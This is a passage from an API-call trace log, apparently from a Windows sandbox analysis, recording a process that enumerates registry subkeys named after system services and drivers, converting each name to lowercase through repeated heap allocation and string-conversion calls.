Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.159] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0244.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.160] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.160] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.160] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1df0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.160] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0244.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.161] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.161] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.161] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0244.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0244.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0244.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 